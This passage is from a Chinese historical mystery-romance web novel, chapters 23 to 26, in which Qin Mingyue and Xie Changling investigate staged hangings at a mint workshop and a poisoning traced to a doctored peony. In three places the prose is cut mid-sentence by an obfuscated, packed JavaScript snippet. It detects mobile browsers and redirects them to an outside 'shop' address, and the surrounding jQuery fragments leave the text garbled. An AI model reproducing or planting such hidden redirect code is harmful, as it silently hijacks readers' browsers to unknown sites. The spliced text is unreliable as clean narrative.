“不是林家。”谢长龄闭上眼睛，靠在马车壁上，脑海里回忆起刚刚那位的试探—— “绥之，明年就弱冠了吧？可有心仪的女子？”“听闻秦尚书近来刚接回一位小姐，不知人品如何。”“绥之，若你钟意......” 卫燕锋还在喋喋不休：“不是林家那你为什么冒着抗旨的风险赶回来？总不能是为了陈......”话音戛然而止，他突然福至心灵。 嗯？难道是—— 卫燕锋瞬间坐直身体，听闻昨夜是武卫营与户部尚书府一同破的案，户部尚书姓秦，秦洪业、秦明月......想起之前骑术课事件后，谢长龄让自己转交的药散。 卫燕锋猛地瞪大双眼，捂住嘴巴，尖叫出声：“谢长龄，你是不是春心萌动了？！” 23. 携手查案 秦明月再次醒来又是傍晚时分，窗外虽还残余一抹无力的日光，但月亮已经挂了上来。自从回到京中后，她好像总在经历这种日夜颠倒的生活。 秦明月轻手轻脚走到桌边，倒了一杯水润了润嗓子，还好早上跟着谢大人的提议垫了垫肚子，现在并不觉饿得难受。 “喵~” 脚下响起小猫咪温软的叫声，裙角被牵动，猫一只正一边呼噜一边在她脚边转悠。和刚接回来时毛色暗淡的样子相比，短短一个月，小家伙已经是一只漏花生馅儿的小汤圆了。见秦明月摸摸他的头，猫一只“得寸进尺”地一跃而起，呼噜呼噜埋进了她的怀里。 直到猫一只舒服地翻了个面，望舒阁里才重新亮起了灯。 “你是说等京兆府赶到时，工坊的局官和管事全都死了？” “是，局官连同两名管事都悬在冶炉房的房梁上自尽了。” 听完李敖将她回府后销钱为器一案的后续说完，秦明月面色凝重，撸猫的手不知什么时候已经停了下来。 “那京兆府怎么说？” “陈士杰那厮扬言谢大人回来了，他不便僭越，蹲在家中做起了‘老乌龟’，谢大人......”李敖语气迟疑。 “谢大人如何？” “谢大人一早进宫了，晡时才出来，此刻应刚到京兆府不久。” 似在不满她的出神，猫一只粗糙的小舌头轻舔过秦明月的手指，见她还没有反应，又将小脑袋奋力地挤进她的手心蹭了起来。 “走吧，去京兆府。”沉吟片刻，秦明月一把将小猫重新抱起，脑袋埋在在他柔软的小肚皮上深吸了一口，然后毫不留恋地大步往外走去。 “喵？” ———————————————— 等她到京兆府门口时，天已经完全黑了。往日里，早已下值的京兆府，此刻还是通火通明，间或有官差脚步匆匆地进出。都已经走至这了，秦明月脚步却有些迟疑，秦家大概率不会被牵连了，自己再来这里，谢长龄会不会又和医馆火灾一案一样拒绝自己？ “秦大小姐。”犹豫间，熟悉的声音自大门内传出。 “卫教习？” 来人一身银色甲胄，挎着一只木箱从府中走出，“秦小姐是来找绥之的吗？” “绥之？” “就是长龄啊，绥之是他的表字。”两人同时用疑惑的目光看向对方。 秦明月有点莫名其妙，卫教席习为什么这样看着自己？她不知道谢大人的表字难道很奇怪吗？ “算是吧，我主要......” “那你是在京兆府等他，还是随我一同去现场？绥之现在还在金火寮呢，那里有......”不等她回答，卫燕锋拿手做了个抹脖子的手势。 ...... 一炷香后，秦明月与卫燕锋一同站到了金火寮门口。 工坊内，往日里金鸣铜嚣，不绝于耳，此时却一派冷肃，除却案发现场一圈灯火通明外，外围仅有门口的防风灯在冷风中明明灭灭。 秦明月走至冶炉房院落门口停下脚步，就见谢长龄正背着手，凝视着院内一侧漆黑幽深的长廊，夜风鼓起他的衣袍，满是萧索的意味。 “每日亥时，金火寮闭坊，守夜的护卫会巡视一圈，确认坊中无异状。然后，每隔一个时辰巡视一次，直至次日辰时重新开坊。”秦明月接过卫燕锋手中的木箱，走至对方身后。 “秦姑娘，你来了。”谢长龄似是早料到般，语气平淡。 “谢大人这一次不‘赶’我走了？” “谢某在祁阳赵秉一案的卷宗中，看到过姑娘的验尸记录，称得起严谨周详、洞微见著，”谢长龄想起那张被自己私心收在书房中的记录，紧皱的眉宇松了松，“能得姑娘援手，谢某感激不尽。” “我只是想查清楚这个阴谋到底是不是冲着秦府来的。”倒也不必这么客气。 “我知道。” 被获准正大光明协助查案的秦明月瞬间脚步轻快，挎着木箱走到了谢长龄前面。 她一边走，一边回忆今早在京兆府的情况：“京兆府是在孙显认罪自杀后来才金火寮拿人的，事发时恰好外面传来最后一次打更的声音，也就是卯时。据我所知，此时也恰好是金火寮护卫巡视的时间，护卫并未发现屋内异常，说明三人至少是卯时过后才进入房内。从京兆府到金火寮，算上中途耽搁的时辰，大约需要一炷香时间。” “那就是这三人是在这一炷香内在房内上吊自杀的？”许久未插话的卫燕锋突然冒头。 秦明月摇摇头：“非也，卯时只是护卫开始巡查的时间，他们平日里呆在后院，从那里出发走到冶炉房大约需要半刻钟。” “那就是卯时一刻至二刻之间？” “也不准确，”谢长龄接过话，“自缢死亡的人，从悬上绳圈至气绝，大约也在半刻钟左右，京兆府的人是二刻左右到这儿的，当时死者已经气绝。也就是说，如果屋内是第一现场，还需再往前推三分。” 卫燕锋被二人的两连否定推论震惊地张大嘴巴，一副看怪物地表情在秦明月与谢长龄之间打转，半晌才喃喃一句：“秦小姐，你怎么对金火寮的情况这么清楚？” “来过。”秦明月言简意赅。 闻言，谢长龄不知想到什么，弯了弯嘴角，随着秦明月的脚步往冶炉房内走去。 冶炉房内，三具尸体已经被放了下来，全部以白布覆体，整整齐齐摆放在了储水池边。三个常见的圆凳歪倒在地，房梁上的白绫无风自动。 京兆府的仵作正立在一侧提笔往簿册上记录着什么，许是共事多年，见谢长龄进来，对方放下手中的纸笔，直接上前回话：“大人，下官今晨接到通知后，辰时不到就抵达了现场，当时三名死者尸僵刚扩散至颈部，腿脚处开始出现紫红色瘢痕，按压可褪色。根据经验，当时三人应死于一个时辰之内，也就是卯时之后。” 谢长龄点点头，眼神却落在了蹲在地上的少女身上。秦明月此时已检查完死者脖颈处的勒痕，正试图拉动一名死者的胳膊，见轻拽无用，加了些力气，结果胳膊未移，尸体上半身却被原封不动地拉出了担架。 “秦......”一旁的卫燕锋刚张口，就被谢长龄抬手制止了。随着他环视一周，众人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041618|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉放轻了呼吸。 冶炉房内，一片沉静。 地上的秦明月似毫无察觉，起身蹲到了另一具尸体头部，从木箱中取出竹篾，撑开死者口腔专注检查起来。 一盏茶后，秦明月默念一遍天尊圣号缓缓站起身。 “如何？”谢长龄自然地从对方手上接过尺绳，这是秦明月刚刚用来测量垫脚凳和尸体长度的。 “死者确实死于绳缢。死亡时间应该就是我们之前推测的，现有脚凳、白绫长度和尸体高度结合来看，也都在自缢的合理范围。不过——”秦明月咬唇。 “怎么了？”谢长龄问道。 “我早年在祁阳时，曾目睹过一妇人悬梁自杀的案子。当时，仵作为确定死因，同样以糟醋敷贴颈部。我记得很清楚，那妇人颈部的索沟呈深紫色且血荫也更宽些，可这三人，颜色却要淡得多。”秦明月疑惑地歪了歪头，看向京兆府的仵作，“大人，不知这索沟颜色深浅可与性别、死亡时间或者个体差异有关？” “姑娘观察甚微。不过，依我所知，索沟的性状与您提到的问题关系不大，应是绳索材质的原因。” 顺着仵作的话，秦明月看向还悬在半空的白绫。 “可能就是因为这个吧。”她放下手中的白绸叹了口气。这白绫宽软光滑，是上好的绸缎，现在却成了索命的凶器，“我虽记不清那妇人悬梁所用的绳索具体是什么了，但穷苦人家，就是制衣也拿不出这么好的绫缎的，更不用说自缢了。” 屋内一时静默。 片刻后，见秦明月与仵作说法一致，谢长龄安排仵作将尸体移送义庄。同时，吩咐衙役将三人亲属及家中搜查情况一并送到京兆府，等候提审。 “走了”卫燕锋转头朝秦明月挥了挥手，“回京兆府了。” 秦明月原地不动，忐忑地看向谢长龄：“我也能......” “秦姑娘，销钱为器一案还未结案，京兆府还需要你的协助。”不等她问出口，谢长龄伸手拎起地上的木箱回道。 得到肯定，秦明月跟着二人一同往回走去。其他人在这之前已被谢长龄遣走，空旷的金火寮内，只有三人的脚步声、卫燕锋身上的盔甲金属碰撞声在回响。 叮呤哐啷...... 突然，一道电光闪过，秦明月兀地停下脚步。 注意力本就在她身上的谢长龄也第一时间停住，询问地看向秦明月。 “谢大人，你武功怎么样？” “尚可。” “我还需要验证一件事。”秦明月一边说，一边头也不回地往冶炉房内走去。 几息之后，三人重新站在了冶炉房中央，顺着秦明月的目光，谢长龄与卫燕锋抬起头看向房梁。 “谢大人，你能带我飞上去吗？”之前夜探金火寮，是李敖与高裕贞一左一右将她提飞上去的，“若是困难，还请卫教席......” 不等秦明月说完，谢长龄就揽着她的肩飞身而上。 不被需要的卫教习想了想，也跟着飞了上去。 片刻后，秦明月的声音在屋内响起：“他们，也许并非死于自缢。” 24. 四具尸体 灯光幽暗的京兆府后衙内，三名死者的尸体被从义庄重新移了回来，暂时安置在此处。秦明月一边重新检查死者的指甲、牙缝、鞋底等部位，一边支着耳朵听前面谢长龄审案的情况。 卫燕锋熬不过两人，回来的路上肚子就饿得咕咕叫，便遣人去买了饭菜。此时，仆从正好将拎着食盒回来。 “秦小姐，先用点饭吧。”卫燕锋掀开食盒，热情地招呼对方，“秋季想吃口春菜不易，这可是同福楼花大价钱从农户手上收购的，每日限量供应。” 话音刚落，就见秦明月从局官的口中，用银镊子取出一小块绿色菜叶，正举在灯光下仔细研究。远远望去，与自己手中端着的春菜颜色别无二致，卫燕锋突然就觉得有点食不下咽。 “卫教习不必多思，你手中是春菜，而这应当只是秋季常见的蓬蒿。”秦明月看着对方突然僵硬的面皮，出声安慰。说话间，又从死者口腔里取出一根植物纤维，笑容突然变得有些尴尬：“不过，这个——应是豌豆苗的茎丝。” 豌豆苗就是春菜...... 卫燕锋嗷呜一声，拿起一张看起来“最安全”的胡饼冲了出去。 秦明月本也检查得差不多了，开始还不觉，现在闻着食盒中传来的饭菜的香味，饥饿感一下子涌了上来。看着卫教习逃命似的背影，她洗净手，毫无负担地端起剩下的饭菜吃了起来。 “没有吃晚饭？”不多时，谢长龄颀长的背影出现在门口。 “嗯。” “我再带你出去吃些吧。” “不用不用，我差不多吃饱了，”秦明月放下筷子，加速咽下口中的饭菜，“前面怎么说？” “两名管事的家中，倒没什么异状，家人虽伤怀倒也能说出个死者生前的章程来。倒是那局官的妻子，只一味哭骂男子不爱归家，问什么都推说不知。”谢长龄坐到桌子一侧。 “她不说也没关系，我这边有些发现，”秦明月拿下巴指指尸体，把一叠没有动过筷子饭菜推到对方面前，“我刚刚从局官齿缝间找到些食物残渣，都是些蔬菜。不过，经卫教习提醒，有些竟是这个时节不太常见的春菜，喏~就是这种——”秦明月用手指指谢长龄筷子上的东西，对方顺畅地咽了下去。 “也就是说，死者最后一顿饭吃了春菜？” “没错。” 刚刚调理好进门的卫燕锋，再次僵在了门口...... —————————— 次日一早，谢府的马车早早停在秦府门口，秦明月让李敖帮自己去书院告假，自己给猫一只添好饭，准备出门。却见秦府众人如临大敌般站在院中，大约猜到大家的担忧，她忙解释起原委来。 “娘，谢大人想得还挺周到的呢，知道使谢府的马车来接大姐姐，而不是京兆府的。”秦书砚目送秦明月远去。 “好什么好！”李氏回呛一句，秦兰意也白了一眼弟弟起身去书院，留下一脸蒙蔽的秦书砚，站在院中自我怀疑。 府外，谢府的马车一路穿行。 清晨的京城人来人往，路边占满了卖货的商人、贩菜的农户，行人穿梭其间，好不热闹。等秦明月一路穿过绯衣巷、朱雀大街，到达同福楼时，谢长龄和卫燕锋已经在了，谢长龄正拿着衙役记录的证词回看。 见她跳下马车，往这边走，谢长龄上前几步：“我查过了，死者遇害当天，春菜订得极少，仅有的那几家都与死者没有交集。” 他把手中的簿册递给她：“不过，根据酒楼掌柜的说辞，这个季节春菜全部依赖人工培育，京城及周边的供应应当全部来自贤桥。那里距京中不远，现在出发，大约午时前能够赶到。” “那我们赶紧出发吧，我可是推了太仆寺的差事特意赶来的。”卫燕锋率先翻身上马，小声嘟囔一句：“不然回头又赶不上饭点了。”全然没有是自己硬要掺和一脚的自觉。 众人很快跟上。 一路上，听着车外踢踢踏踏的马蹄声，秦明月将车帘掀开一条小缝，正好瞧见谢长龄骑着一匹枣红色的马在一侧跟随。大约是因为今天要外出，他身着一身鸦青剑袖武袍，一根墨绿色绦带紧扣劲瘦的腰身，黑发以银簪束起，要是忽略凌厉的眉峰和紧绷的下颌线，绝对匹配得上众人口中清风霁月的端方君子。秦明月忍不住胡思乱想，如果当年谢老将军没出事，谢大人大概也不会变成现在生人勿近的模样吧......马车还在以最快速度行驶，见对方似乎有要转过来的迹象，秦明月下意识地赶紧放下车帘。 马车之外，谢大人也悄悄松了口气，放下僵直的背脊。 谢长龄时间掐得很准，秦明月等人午时不到便到了目的地。甫一下车，就见开阔的原野上，扎着一个又一个耳房大小的茅草包，放眼望去，有数十之巨。 “贤桥的百姓都住这种屋子？怎么屋子这么多，却没见着人呢？”卫燕锋四处打量。 “这是培育春菜的茅棚，不用来住人。”谢长龄抬手掀开一个茅草包的门帘看了看，又退了出来。 马车旁，秦明月正逗着一只不知道从哪里窜出来的小黄狗，小狗欢欣鼓舞地围着她转悠，享受够了来自人类的抚摸，不一会，就一步三回头地往前面跑去，跟着小狗的引导，三人很快看见不远处的茅草包里走出一褐衣短打的老人。 出于百姓对官府天然的畏惧，说明来意后老人诚惶诚恐地找出账册翻看起来。 “两日前、两日前......找到了！”对方擦擦头上的汗，“两日前正好是第一批春菜收尾期，量少，全被同福楼还有牡丹峰的赵大官人收走了。” “赵大官人？”三人的视线齐齐落下。只见簿册上歪歪扭扭记着几个大字——牡丹峰.赵金贵。 除了对京中还不太熟悉的秦明月和不甚在意的谢长龄，卫燕锋心中直叫苦，牡丹峰在京城的东侧，而贤桥在京城的西侧，南辕北辙，相距甚远。 三人商议一番，在卫燕锋勉强的笑意中，即刻踏上了回程的路。 “赵金贵此人，据说原本是某位贵人家里的花匠，凭着一手培育牡丹的好本事，不知怎的就得了皇后娘娘青眼，封了个皇苑使。一家子就此脱了奴籍，在牡丹峰上专门为宫里栽培牡丹。”车轮滚滚，谢长龄一边驭马，一边跟在马车边同秦明月解释。 “谢大人连这清楚？” “那当然，绥之可是宫中常客。”卫燕锋驱着马靠近，马蹄起落带起的灰飘得到处都是，呛得秦明月放下了窗帘。 谁知，等三人一路风尘仆仆，将将看到城门时，就见一个身着京兆府差袍的衙役骑着快马，飞速往他们来时的方向跑来。跑近了见是谢长龄，对方猛地拉住缰绳，一骨碌从马背上翻了下来。 “大人，京中接到报案，皇苑使赵金贵昨夜死了。” “什么？！”闻言，秦明月刷得一把掀开车帘。 ———————————————— 牡丹峰，护花棚内。 赵金贵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051805|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的尸体已用白布覆好，暂时安置在堂屋正中。屋里除了死者家属、牡丹峰的匠人，还有一个穿着宫人服饰的无须男子，正微躬着身与谢长龄低声说话，眼风不经意间刮过秦明月，又很快收了回去。谢长龄不着痕迹地微微侧过身，不多时，他将人请了出去，衣袖轻轻拂过秦明月的手臂。 秦明月“知情识趣”地跟了出来。 “秦姑娘，我让燕锋先送你回去吧。”谢长龄看着宫人远去的身影，眉梢重新凝起风霜。 “为何？” “没什么。查案时久，多有不便。不过，你放心，此事我定会给你......”他顿了顿，又道，“给秦家一个交代。” “是宫中给你压力了？”秦明月直白问道，要怪只能怪自己耳力太好，“我刚刚都听到了，虽然只有外邦、赏秋、牡丹之类的字眼，但内容大致也能猜得出。” “没事的，秦姑娘。我习惯了，只京兆府牵涉其中就够了。”半晌后，男子低沉的声音混着牡丹清冷的香气传来。 习惯什么，宫中施压吗，还是习惯一个人处理事情？秦明月其实不太懂。只是，眼前这个千里迢迢赶回来主持正义的谢大人，此刻勉强的笑容让她觉得有一点......可怜？ “要不，我帮你吧？”思前想后，秦明月还是不忍道，“你知道的，我有......的能力。” “好。” ...... 片刻后，二人重新回到护花棚中。 这是秦明月两天内验的第四具尸体。 原本挤满人的护花棚，此时已彻底冷清下来。山中气候温和，是培育牡丹的好地方，却不利于尸体保存。因此，秦明月不等京兆府送来专门的验尸工具，就直接拔了他们头头的银簪开始验尸。倒也不是刻意要为难谁，只是她自己簪玉，卫教习簪竹，眼前合适的也只有谢大人的银簪了。不过，谢大人本人接受良好，十分“顺从”地任由她拔了簪子，随后便将相关人等带至不远处的另一间护花棚中审讯了，只在她身边留下三两护卫，负责记录与协助。 不知过了多久，身后传来竹门打开又关起的声音。虽未说话，但颀长的身影投在脚边，秦明月猜想是隔壁问话暂时结束了，手下却依然忙碌。大约又过了一炷香时间，她才长舒一口气，站了起来。 “结束了？”身后的人递来一盆温水。 “嗯，你们那边怎么样了？” “问清了，赵金贵与金火寮的局官确实是旧相识。两日前傍晚，有仆从看到局官架着一辆马车匆匆忙忙来找过他。” “那个，我们能一边吃饭，一边说吗？”不等秦明月继续追问，卫燕锋虚弱地举起手。 “我们可以啊。不过——卫教习，你行吗？”秦明月露出一抹坏笑。 卫燕锋：...... 玩笑归玩笑，三人还是拿着京兆府配发的途粮坐到了屋外的凉亭内。 “这个赵金贵死于中毒，如果我验的没错，毒应该是吸进去的，不是吃下去的。”秦明月放弃手中如老鞋底的腌肉干，一点一点撕着饼饵。 “这你都能验的出来？” “当然，毒药入口，若是慢性的，死者牙龈会呈现紫乌色；若是烈性的，死者口腔内不仅会有恶臭，严重时还会出现溃烂。” 闻言，再次面如菜色卫教习停下咀嚼，叛逆道：“那就不能是毒物咬的？” “那总该有伤口的。”谢长龄看着两人斗嘴，好笑地摇了摇头。 25. 牡丹迷情 初秋时节，夜渐长、昼渐短。 趁着天还亮，秦明月等人前往赵金贵陈尸的花圃进行探查。行走峰中，隐隐有漫步云端之感，只可惜景色虽美，众人却没有赏景的心思。 “到了，就是这。”谢长龄停下脚步。 之前，京兆府赶到现场时，现场已被破坏得不像样子。昨夜下过一场雷雨，湿润的土地上全是各式各样的脚印，就连赵金贵也被直接抬到了护花棚中“急救”，虽然他当时早已死得不能再死了。 加之来时过于匆忙，来不及仔细检查现场，所以当时谢长龄只吩咐衙役将此处围了起来。 此时，重新回到现场，他只觉眼前的场景有些许突兀。牡丹峰并不是一座山峰，而是数座峰头错落环抱，整体呈一个碗形，百亩牡丹园就坐落于碗中，以竹篱隔成一畦一畦的花圃。 而赵金贵陈尸的这一块，以尸体倒放处为圆心，方圆十步内全是乱七八糟倒伏在地的牡丹，唯有正中心，一株枝叶繁茂的牡丹仿佛没有受到任何影响，硕大的绛紫花团在绿叶的簇拥中静谧绽放，有晶莹的水珠自叶间落下，甚至连杂乱的脚印似乎都有意避开它的周围。 谢长龄无声地走出人群，立在花前，锐利的眼神自花叶间划过，看向牡丹峰众人。立即有一麻衣男子，垂首上前：“大人，这株牡丹名叫“冠群芳”，是为这次番邦来朝特地准备的，出不得闪失。因此小的们在移动赵苑使时，都尽量避着。” 谢长龄低头打量着这个低矮的男人，眼中闪过一丝寻味：“你是谁？” 此人衣着虽与牡丹峰其他匠人一样，但腰间的系带却是染成与麻衣同色的软棉，手指粗大的仿佛是老树的根节。 “启禀大人，小的名叫陈立，是这牡丹峰的司圃。” “陈司圃——”谢长龄注视着眼前人，“就是你第一个发现赵苑使倒在花圃中的？” “回大人话，正是小人。小人今早例行巡视花圃时，见苑使大人衣着散乱，倒在此处。起初还以为是酒后无状，所以便急忙喊来其他匠人，一同将苑使大人抬进了护花棚，谁知......”对方主动截断了话匣。 “卯时巡视，你倒是敬业的很。” “小的向来如此，一日不曾懈怠。” 谢长龄最后看了一眼对方的手指，不再理会。转身蹲在一处明显有五指扣过的地面前，小心捻起一小撮泥土。 “死者指缝间的泥土应该就是抓自此处，”秦明月也跟着蹲下身，“你看，这白色的小渣滓，应是用来施肥的骨粉。”她将一粒稍微大些的白色颗粒举到谢长龄眼前，“赵金贵左手指缝中也有。” “一个死于吸入性毒物的人，手指缝间有此处的泥土。”谢长龄看向秦明月。 对视片刻后，二人目光同时落到眼前的“冠群芳”之上。距离此处最近的封闭空间，是相距半个山峰的护花棚，山间空旷，想通过吸入性毒物至人死亡，不是件易事。秦明月的手慢慢伸向眼前开得无比绚烂的花枝。 将将要触及花朵，身后扑通一声响起跪地的声响：“贵人饶罪！这是中秋要敬献宫中，招待外邦使节的御花，还请贵人珍重。” 秦明月收回手，转头看去，是那名叫陈立的司圃。见他跪下，其他匠人竟也面面相觑，陆续跟着跪了下来。 谢长龄面上显出一丝不耐，刚要开口，就感觉衣袖被轻轻拽了两下，抬眼就见秦明月缓缓朝自己眨了一下眼睛。 谢长龄接到信号，蓄起的那口气，轻轻吐了出去，默认了陈立的说辞，转而在现场探查起其他细节来。 时间一分一秒过去，天色渐渐变暗，加之现场也看得差不多了，京兆府便将人都撤了下去。秦明月与谢长龄一路无言，一前一后往谷中的厢房走去。 案子未破，来回不便，谢长龄决定留在牡丹峰继续查案，卫燕锋因明日书院还有课，不得以先行回京，顺便帮秦明月往家里带了口信。 “秦姑娘，你刚刚为何要拦着我？”谢长龄站在秦明月前方，伸手抹了抹凳子，见没有灰尘，方才让开。 “因为……我感受到了。”这是她第一次直白地同谢长龄坦言自己的能力，心中忐忑，忍不住打量对方的神情，见谢长龄脸上没有流露出一丝不信任或者怪异，方才继续开口，“那株牡丹很痛苦。” “痛苦？” “对，就像、就像人一样，身体忍受着巨大的不适。”秦明月努力想着该如何同他描述。 谢长龄手指有节奏的点击桌面，思索片刻：“当时的情况，若我们提出要验花，那些匠人无论如何也不会同意的，所以你想劝我先暂时答应下来，降低对方的戒备？” 秦明月点头：“反正已经住在这儿了，我们可以趁晚上去花圃里看看。” “好。你眼睛可有什么不适？”话锋一转，谢长龄突然靠近，认真注视着秦明月的眼睛。 空气有一瞬间的宁静，只听得见远处风鼓过山脉，类似心跳的声音。一息、两息…… “还好啦。”秦明月嘿嘿摆摆手，她有点不习惯这种氛围，“那株花外放的情绪不是很强烈，也就是刺激了点眼泪而已啦。” “那就好。等这件案子结束了，我们再一起解决一下陶大夫一案吧。”谢长龄也重新直起身体。 “好。” —————————— 不知何时，月亮悄悄爬到了夜空正上方，牡丹峰山谷中最后一间亮灯的厢房也终于熄灭了火光。万籁俱寂中，唯有几声角鸮咕咕的叫声传来。 “吱嘎——”一间厢房的门被缓缓打开一条缝隙，一个灵巧的身影自缝隙中钻出，又转身轻手轻脚地带起房门。 “他们都睡了吗？” “睡了，我还往井中投了一些安眠的药散，他们吃了用井水做的晚食，应当暂时醒不过来。” “嗯？”秦明月停下脚步，震惊地看向身后之人，光风霁月的谢大人竟然做得出这种事？“那井中的水……” “不用担心，对人体没有妨害。”对方推了推她的胳膊，提示继续往前走，“而且这井中都是活水，药量我有数，不到明早，就该被地下暗河的水稀释完了。” 秦明月彻底放下心来，二人正大光明地往花圃走去。 如烟如纱的月色中，“冠群芳”硕大的花朵随风摇曳，层层叠叠的紫色花瓣中金黄的花蕊微垂，犹如镶着一颗璀璨明珠，尽显神秘华贵。 “这株牡丹看起来长势良好，不像哪里有问题的样子。”谢长龄蹲下身，拨开花丛朝里看。 “在根部。”秦明月拿着从护花棚中顺来的铁锹，眼睛紧紧盯着手中的动作，“谢大人，我若不小心伤了这花，耽误了招待外邦使节的大事，我爹保得住我不？” 身后没有回应，秦明月也只是随口扯话，倒没有放在心上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061759|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >半晌，谢长龄的声音幽幽传来：“有我就够了。” “也行。”秦明月手下突然一停，接着用铁锹小心翼翼地铲出一小块泥土，“谢大人，你看。” 她用手指捻起黑泥中的一小片植物茎叶，放在鼻下闻了闻：“这株牡丹根部的泥土里被埋了许多这种植物叶片。” 谢长龄接过她手中的细长叶片：“会不会是用来沤肥的杂草？” “不是。我白天着意看过了，牡丹峰的育花多使用骨粉、马蹄片、饼肥等肥料，不用这些。而且，就只有它根部被埋了这些植物茎叶。” 谢长龄认同地点点头。 此时，已至月中。月光虽亮，却不足以查案。二人简单商量，就将挖到的泥土、并一朵‘冠群芳’和几片枝叶带回了住处。 黝黑的山谷中，某间厢房中再次亮起灯。 谢长龄坐在桌边，仔细打量着从泥土里剥离出来的植物茎叶，叶片细长，叶边呈锯齿状，明显被掐断的根茎上，有细密的绒毛，全然不是自己曾经见过的任何一种植物。 “来了、来了。”不多时，门口响起声音，秦明月小心捧着一个注满水的花瓶进了屋，“大人您随手往井里抛点药，可苦了我到处找水养花，就这些，还是从水车里舀出来的。” 秦明月砰的一声将花瓶放置在桌面上，广口花瓶中瞬间有水溅了出来，她急忙伸手将水拢起撒到花上，嬉笑道：“好不容易找到的，可不能浪费了。” “谢大人，你知道这是什么植物了吗？”她看着谢长龄手中的叶片。 谢长龄摇摇头：“没有见过。明日，我派人送去京中，请上林署帮忙看看。你是怀疑赵金贵中毒，与这植物有关？” “我是这么想的。毕竟吸入性毒药要达到一定浓度才行，赵金贵死在空旷的苗圃内，只有两种可能，要么他死前曾呆在某个屋内，中毒后走至冠群芳处毒发身亡，要么就是长期呆在室外某处持续性吸入毒气，才会中毒。”秦明月朝对面伸出手，“根据您之前查到的，赵金贵前夜一直与金火寮的局官在一起，但从尸检结果来看，局官并没有中毒的迹象。” 谢长龄将草叶放到少女手中：“而花圃中值得赵金贵持久关注的，就只有这株他想用来通天的冠群芳？” “对。”二人重新将目光投向桌面正中间，妖冶绽放的牡丹，晶莹的水珠落下，有幽幽香气传来…… 屋中，烛火跳跃。 “谢大人，你确定我们的晚食中没有撒药散吧？”秦明月甩甩头，“我怎么觉得我有点晕呢。” 比起秦明月，对面的谢长龄也觉太阳穴突突，虽不至于让他失去意识，可心中却警铃大作。他双手紧紧按住腰间佩刀，用力咬住舌尖，稳住走到秦明月身前。 良久，屋外除了风偶尔吹过的声音和窗纸上投映的树影，再无其他动静。 “谢大人。” 突然，一只细白的手，拽住他的衣袖，慢慢攀了上来，语气飘渺，谢长龄担心地急忙转身。可下一刻，因为他的动作，女子失去重心，整个人歪倒在他怀中，连带着他后退几步，绊倒在地。 一阵桌椅翻倒的巨响过后，趴在他身上的少女自他耳边努力撑起上半身。对方面颊坨红，嘴巴微张，迷离的眼神仿若误入人群的单纯小妖 “谢大人，对不起。” 谢长龄只觉还握着少女温柔腰肢的手滚烫的吓人…… 26. 猫与毒计 一炷香后，秦明月坐在厢房的凳子上，无助地抱紧手了中的大白猫，这是刚刚她“作奸犯科”时，突然从屋外闯进来的“证猫”。 大约是在她身上嗅到了同类的味道，起身后，就理所当然的蹲进了她怀里，和“猫一只”那死出一模一样。 另一边，谢大人已将厢房的大门并四扇窗户全部敞开，甚至连屋顶的气窗都没放过，秋风裹着寒霜，一阵一阵从屋里穿过，好不容易蓄起的热度，也一遍一遍被带走，秦明月和大白猫都忍不住贴紧了对方。 而谢大人则像个没事人一样，直挺挺坐着，仿佛感觉不到冷。 哦，也不是完全没事人，他起身坐到了距离自己半个厢房远的书桌后面，看似随意却又刻意地和自己保持距离。 气氛一时尴尬。 “谢大人。” “秦姑娘。” 二人同时开口，又同时被对方打断。 “你先说。” 秦明月‘战术性’抓脸，陪笑道：“谢大人，刚刚是我唐突了。不过，这事实非我本意，而是这花有古怪。” “我知道。”对面的人木着一张脸，面无表情地看向窗外。 完了，完了。这是得罪狠了，秦明月心中懊恼，自己做什么非要耍那点宝，把水都撒到‘冠群芳’的花苞上；又为什么这么敏感，稍微一点花粉颗粒，就被迷得找不着北！瞧瞧人家谢大人，面不改色，啥影响都没有，还是自己定力太差。 “也怪我太过依赖能力了，只注意到‘冠群芳’的根部有不适，竟然没有注意到花蕊这种最敏感的部位。”秦明月试图继续开口解释。 “牡丹花本身并没有致幻的毒性。我猜，可能是将毒草埋于牡丹根部，毒素逐渐被花吸收。湿润的环境中，花粉吸水膨胀、破裂，这些花粉颗粒能更轻易进被吸入，致人迷幻甚至中毒。” “嗯。”对面之人依然惜字如金，就在秦明月考虑要不要携猫潜逃的时候，他突然站起身，“明天，直接捉捕陈立吧。” “什么？” “‘冠群芳’是牡丹峰全力准备要敬献宫中的御花。平日里全部都是陈立和赵金贵亲手照料，不假他人之手。既能清楚赵金贵巡视习惯、植物习性，又能确保埋下毒草不被养花人发现的，不是只有他吗？” 谢长龄一边说，一边沿路关上窗户。 